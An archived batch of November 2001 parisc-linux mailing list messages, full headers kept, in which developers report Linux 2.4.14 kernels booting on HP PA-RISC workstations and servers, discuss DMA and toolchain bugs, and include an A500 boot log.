X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13065

It's been identified(tentatively) as some flavor of 750.  How's the 
support for these beasts?
Aaron

-- 
_______________________________________________________
Aaron Macks(aaronm@cs.brandeis.edu)
My sheep has seven gall bladders, that makes me the King of the Universe!



From - Thu Nov 08 21:20:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.14-pa1 seems to works fine on my B180
Date: Thu, 15 Nov 2001 11:18:13 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <200111151818.LAA17663@puffin.external.hp.com>
References: <20011115001100.A23883@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620758 29988 80.91.229.3 (22 Nov 2014 01:45:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 15 11:22:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id BF4C8482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Nov 2001 11:22:19 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id LAA17663
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Nov 2001 11:18:13 -0700
In-Reply-To: Message from rbradetich@uswest.net (Ryan Bradetich) 
   of "Thu, 15 Nov 2001 00:11:00 MST." <20011115001100.A23883@beavis.ybsoft.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13066

Ryan Bradetich wrote:
...
> Not that this is much help, but hopefully will provide a data
> point ....

I found the bug in sba and it seems that ccio has the
same bug. The basic problem was coalescing of DMA mapping
requests was resulting in DMA requests bigger than DMA_CHUNK_SIZE.

thanks to all who responded.

grant

ps. I found the bug pretty quickly once I enabled ASSERTs
  that I had embedded in the code when I wrote it.



From - Thu Nov 08 21:20:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux/PA-RISC speed (was Re: C240 Graphics, 64bit kernel and more)
Date: Thu, 15 Nov 2001 11:29:14 -0700
Lines: 48
Approved: news@gmane.org
Message-ID: <200111151829.LAA17717@puffin.external.hp.com>
References: <xam@student.cs.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620759 29993 80.91.229.3 (22 Nov 2014 01:45:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Markus Grabert <xam@student.cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 15 11:33:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1BA10482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Nov 2001 11:33:56 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id LAA17717;
	Thu, 15 Nov 2001 11:29:14 -0700
In-Reply-To: Message from Markus Grabert <xam@student.cs.ucc.ie> 
   of "Thu, 15 Nov 2001 14:08:46 GMT." <Pine.OSF.3.96.1011115140754.20078A-100000@student.cs.ucc.ie> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13067

Markus Grabert wrote:
> Jurriaan Kalkman wrote:
> > There are still bugs.
> 
> But Grand Grundler wrote:
> | Yes - should work fine. Note one can build 32-bit PA2.0 binaries.
> | The scheduling and insns are optimized for PA2.0 CPU but will
> | run in "narrow" mode.
> 
> Mhh who's right ? I tend to believe Grand.

I believe I was talking in general and without regard to the
issues we've recently had (and are *almost* fully resolved).
For the past week or two the apt-get'able toolchain has been
foobar.

> Of course there are bugs in binutils/gcc. But are there KNOW bugs/issues
> a software developer (not a kernel freak) has to be aware of ?
> What about glibc ?
> Are threads fully supported ? Are gcc's ObjC, Java and C++ compilers
> also working ?

Recently, bugs have been fixed in dynamic linking and C++ toolchain.
Just waiting for the fixes to propogate into the debian pkg pool
so we can all apt-get them.


> > I can only say that compiling a kernel on my C200 takes about 2 times
> > as long as on my alpha (21164, 500 Mhz, 2 Mb cache). I feel it should
> > be faster.
> 
> 
> That's odd.
> A 21164/500MHz (not 21164A or 21164PC) is slower according to
> Spec_INT95, Spec_FP95 and the Spec_base(INT|FP)95 variants.
> 
> Indeed the benchmarks say that the Alpha is about 50% slower for FP stuff
> and just a little bit slower for INT stuff (compared to a C240 HP/UX).

Those benchmarks are most likely based on hpux and hpux toolchain.

gcc is not as good at pipelining and other parisc specific
micro optimizations. C240 is PA8200 (iirc) and can execute
2 to 4 insn per cycle under optimal conditions.

grant



From - Thu Nov 08 21:20:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rbradetich@uswest.net (Ryan Bradetich)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 64bit kernels boot on C200 (finally) :)
Date: Thu, 15 Nov 2001 12:32:03 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <20011115123203.A2337@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620759 29996 80.91.229.3 (22 Nov 2014 01:45:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:59 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 15 12:32:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (unknown [63.224.241.66])
	by dsl2.external.hp.com (Postfix) with ESMTP id 90014482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Nov 2001 12:32:37 -0700 (MST)
Original-Received: by beavis.ybsoft.com (Postfix, from userid 1000)
	id 74AE3BD7A; Thu, 15 Nov 2001 12:32:03 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.3.22i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13068

Hello parisc-linux hackers,

I just wanted to throw out a quick note because I've been
waiting for this day for a long time now.... today is the
first day (granted I have not tried recently) the C200+
boot a 64-bit kernel!!

It is not perfect yet, still have a couple of bugs to work
out and fix:
	1. sys32_ioctl: Unknown cmd fd(3) cmd(00004b50) arg(faf00788)
	2. the ncr720 driver seemed to hang when I had a disk
	   attached behind the bluefish card.

but here it is:

demo@vega:~$ uname -a
Linux vega 2.4.14-pa1 #2 Thu Nov 15 12:08:07 MST 2001 parisc64 unknown

- Ryan

P.S. Remember for the C200+ (if someone else wants to play with this,
you need to enable the 32-bit PDC wrappers.).



From - Thu Nov 08 21:20:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] {OT} HP 9000/700 Snake
Date: Thu, 15 Nov 2001 19:54:23 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <20011115195423.C25491@parcelfarce.linux.theplanet.co.uk>
References: <20011114182457.C1525@daedalus.cs.brandeis.edu> <20011115074423.A21827@dogbert.localdomain> <a05100314b819b1b0ea98@[129.64.46.46]>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620759 30000 80.91.229.3 (22 Nov 2014 01:45:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Aaron Macks <aaronm@cs.brandeis.edu.ml.to>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 15 12:54:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 472AF482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Nov 2001 12:54:31 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 164Sad-0007Yg-00; Thu, 15 Nov 2001 19:54:23 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <a05100314b819b1b0ea98@[129.64.46.46]>; from aaronm@cs.brandeis.edu.ml.to on Thu, Nov 15, 2001 at 12:55:14PM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13069

On Thu, Nov 15, 2001 at 12:55:14PM -0500, Aaron Macks wrote:
> It's been identified(tentatively) as some flavor of 750.  How's the 
> support for these beasts?

i booted a 750 a few weeks ago.  seemed to work fine.  750/755 is a tall case
with a wide base like so:
 _
| |
| |_
|   |
|___|

haven't actually tried a 755, but there's no reason it wouldn't work.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64bit kernels boot on C200 (finally) :)
Date: Thu, 15 Nov 2001 20:01:02 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <20011115200102.E25491@parcelfarce.linux.theplanet.co.uk>
References: <20011115123203.A2337@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620759 30003 80.91.229.3 (22 Nov 2014 01:45:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 15 13:01:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2D0B8482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Nov 2001 13:01:04 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 164Sh4-0007fI-00; Thu, 15 Nov 2001 20:01:02 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011115123203.A2337@beavis.ybsoft.com>; from rbradetich@uswest.net on Thu, Nov 15, 2001 at 12:32:03PM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13070

On Thu, Nov 15, 2001 at 12:32:03PM -0700, Ryan Bradetich wrote:
> It is not perfect yet, still have a couple of bugs to work
> out and fix:
> 	1. sys32_ioctl: Unknown cmd fd(3) cmd(00004b50) arg(faf00788)
> 	2. the ncr720 driver seemed to hang when I had a disk
> 	   attached behind the bluefish card.
> 
> but here it is:
> 
> demo@vega:~$ uname -a
> Linux vega 2.4.14-pa1 #2 Thu Nov 15 12:08:07 MST 2001 parisc64 unknown

i'm surprised the network works given the number of warnings when compiling
lasi_82596.c with a 64-bit compiler.

btw, does a 64-bit kernel with the 32-bit wrapper options enabled boot
on a PAT PDC box like A500?

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 720/50 update (2.4.14-pa2 boots fine)
Date: Thu, 15 Nov 2001 22:43:59 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <20011115224358.A23231@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="CE+1k2dSO48ffgeK"
X-Trace: ger.gmane.org 1416620760 30007 80.91.229.3 (22 Nov 2014 01:46:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:00 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 15 13:43:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id EA142482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Nov 2001 13:43:34 -0700 (MST)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #6)
	id 164TMB-0004Y0-00
	for parisc-linux@lists.parisc-linux.org; Thu, 15 Nov 2001 22:43:31 +0200
Original-Received: (qmail 14231 invoked from network); 15 Nov 2001 20:43:25 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 15 Nov 2001 20:43:25 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 164TMd-00062l-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Nov 2001 22:43:59 +0200
Content-Disposition: inline
User-Agent: Mutt/1.3.23i
X-Scanner: exiscan *164TMB-0004Y0-00*s90fDSP.L7c* http://duncanthrax.net/exiscan/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13071

--CE+1k2dSO48ffgeK
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Greetings all,

Just wanted to let you know that my 720/50 succesfully boots multi-user
with 2.4.14-pa2 (finally got palo sorted out).

bob:~# uname -a
Linux bob 2.4.14-pa2 #4 Thu Nov 15 18:38:11 UTC 2001 parisc unknown

Thomas, I think you can add this machine to your "supported" list now.
:-)

Regards,

Albert

--CE+1k2dSO48ffgeK
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE79CkODg+hOeRZtkMRAga7AKCNH1kyTiq2FeJSidi6aLwKUy/UoQCfZS9q
nBjtZCkmUOBbtrOc9jBoAXY=
=f/IT
-----END PGP SIGNATURE-----

--CE+1k2dSO48ffgeK--



From - Thu Nov 08 21:20:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] The A500 likes 2.4.14-pa3
Date: Thu, 15 Nov 2001 22:40:12 +0100
Lines: 182
Approved: news@gmane.org
Message-ID: <3BF4363C.42B5F4AE@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------F0E628938ADB2B3342B55372"
X-Trace: ger.gmane.org 1416620760 30009 80.91.229.3 (22 Nov 2014 01:46:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:00 +0000 (UTC)
To: Hppa <debian-hppa@lists.debian.org>,
	"parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 15 14:46:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8DB9B482C
	for <parisc-linux@parisc-linux.org>; Thu, 15 Nov 2001 14:46:02 -0700 (MST)
Original-Received: from esiee.fr (pc213g.esiee.fr [147.215.80.169])
	by mail.esiee.fr (Postfix) with ESMTP
	id F37DD49BE4; Thu, 15 Nov 2001 22:45:45 +0100 (CET)
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i686)
X-Accept-Language: fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13072

This is a multi-part message in MIME format.
--------------F0E628938ADB2B3342B55372
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi all,

	A short mail to tell you that I succeed to boot my A500-5X with
2.4.14-pa3 as you will see below!

Last login: Thu Nov 15 22:07:04 2001 on ttyS0
Linux mkhppa3 2.4.14-pa3 #3 Thu Nov 15 22:05:49 CET 2001 parisc64
unknown
demo@mkhppa3:~$ 

	Then, I try with the SMP support. But a function is not implemented for
parisc. cpu_online_map is in init/main.c and coming from the recent
merge, afaik. I commented it. It was compilable. So I give it a shot: 

Last login: Thu Nov 15 22:15:26 2001 on ttyS0
Linux mkhppa3 2.4.14-pa3 #4 SMP Thu Nov 15 22:25:49 CET 2001 parisc64
unknown
demo@mkhppa3:~$ 

That is great but (because there is a but) :

processor       : 0
cpu family      : PA-RISC 2.0
cpu             : PA8600 (PCX-W+)
cpu MHz         : 550.000000
model           : 9000/800/A500-5X
model name      : Crescendo 550
hversion        : 0x00005d50
sversion        : 0x00000491
I-cache         : 512 KB
D-cache         : 1024 KB (WB)
ITLB entries    : 160
DTLB entries    : 160 - shared with ITLB
bogomips        : 1097.72
software id     : 1555780568

processor       : 1
cpu family      : PA-RISC 2.0
cpu             : PA8600 (PCX-W+)
cpu MHz         : 550.000000
model           : 9000/800/A500-5X
model name      : Crescendo 550
hversion        : 0x00005d50
sversion        : 0x00000491
I-cache         : 512 KB
D-cache         : 1024 KB (WB)
ITLB entries    : 160
DTLB entries    : 160 - shared with ITLB
bogomips        : 1097.72
software id     : 1555780568

Good joke! Everything is ok. I attached the dmesg.

The A500 rulez, Thomas.
ESIEE Team.
--------------F0E628938ADB2B3342B55372
Content-Type: text/plain; charset=us-ascii;
 name="a500-2.4.14-pa3.log"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="a500-2.4.14-pa3.log"

Linux version 2.4.14-pa3 (compil@spqr) (gcc version 3.0.2 20010829 (prerelease)) #4 SMP Thu Nov 15 22:25:49 CET 2001
FP[0] enabled: Rev 1 Model 16
The 64-bit Kernel has started...
Initialized PDC Console for debugging.
Determining PDC firmware type: 64 bit PAT.
model	00005d50 00000491 00000000 00000001 5cbb53d8 100000f0 00000008 000000b2 000000b2
vers	00000301
cpuid	0000024b
CPUID	vers 18 rev 11
model	9000/800/A500-5X
Total Memory: 1024 Mb
pagetable_init
On node 0 totalpages: 262144
zone(0): 262144 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line: root=/dev/sda3 HOME=/ console=ttyS0 TERM=vt102
Console: colour dummy device 160x64
Initialized PDC Console for debugging.
Calibrating delay loop... 1097.72 BogoMIPS
Memory: 1005604k available
Dentry-cache hash table entries: 131072 (order: 9, 2097152 bytes)
Inode-cache hash table entries: 65536 (order: 8, 1048576 bytes)
Mount-cache hash table entries: 16384 (order: 6, 262144 bytes)
Buffer-cache hash table entries: 65536 (order: 7, 524288 bytes)
Page-cache hash table entries: 262144 (order: 9, 2097152 bytes)
Searching for devices...
Found devices:
1. Crescendo 550 (0) at 0xfffffffffffa0000 [-96], versions 0x5d5, 0x0, 0x4
2. Crescendo 550 (0) at 0xfffffffffffa2000 [-94], versions 0x5d5, 0x0, 0x4
3. Astro BC Runway Port (12) at 0xfffffffffed00000 [0], versions 0x582, 0x0, 0xb
4. Elroy PCI Bridge (13) at 0xfffffffffed30000 [0/0], versions 0x782, 0x0, 0xa
5. Elroy PCI Bridge (13) at 0xfffffffffed34000 [0/2], versions 0x782, 0x0, 0xa
6. Elroy PCI Bridge (13) at 0xfffffffffed38000 [0/4], versions 0x782, 0x0, 0xa
7. Elroy PCI Bridge (13) at 0xfffffffffed3c000 [0/6], versions 0x782, 0x0, 0xa
8. Crescendo Memory (1) at 0xfffffffffed08000 [8], versions 0x9b, 0x0, 0x9
CPU(s): 2 x PA8600 (PCX-W+) at 550.000000 MHz
SBA found Astro 2.1 at 0xfffffffffed00000
lba version TR4.0 (0x5) found at 0xfffffffffed30000
lba range[2] : ignoring GMMIO (0xfffffff804000000)
lba version TR4.0 (0x5) found at 0xfffffffffed34000
lba range[2] : ignoring GMMIO (0xfffffff904000000)
lba version TR4.0 (0x5) found at 0xfffffffffed38000
lba range[2] : ignoring GMMIO (0xfffffffa04000000)
lba version TR4.0 (0x5) found at 0xfffffffffed3c000
lba range[2] : ignoring GMMIO (0xfffffffb04000000)
POSIX conformance testing by UNIFIX
SMP: bootstrap CPU ID is 0
FP[1] enabled: Rev 1 Model 16
SMP: Total 2 of 2 processors activated (2195.46 BogoMIPS noticed).
Waiting on wait_init_idle (map = 0x0)
All processors have done init_idle
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Performance monitoring counters enabled for Crescendo 550
Starting kswapd
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
Redundant entry in serial pci_table.  Please send the output of
lspci -vv, this message (103c,1048,103c,1049)
and the manufacturer and name of serial board or modem board
to serial-pci-info@lists.sourceforge.net.
ttyS00 at port 0x0040 (irq = 132) is a 16550A
Redundant entry in serial pci_table.  Please send the output of
lspci -vv, this message (103c,1048,103c,104a)
and the manufacturer and name of serial board or modem board
to serial-pci-info@lists.sourceforge.net.
ttyS01 at port 0x0500 (irq = 133) is a 16550A
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
block: 128 slots per queue, batch=32
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
loop: loaded (max 8 devices)
Linux Tulip driver version 0.9.15-pre8 (Oct 11, 2001)
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1000 status 782d advertising 0061.
eth0: Digital DS21143 Tulip rev 65 at 0x80, 00:30:6E:0C:8A:8F, IRQ 128.
SCSI subsystem driver Revision: 1.00
sym53c8xx: at PCI bus 0, device 2, function 0
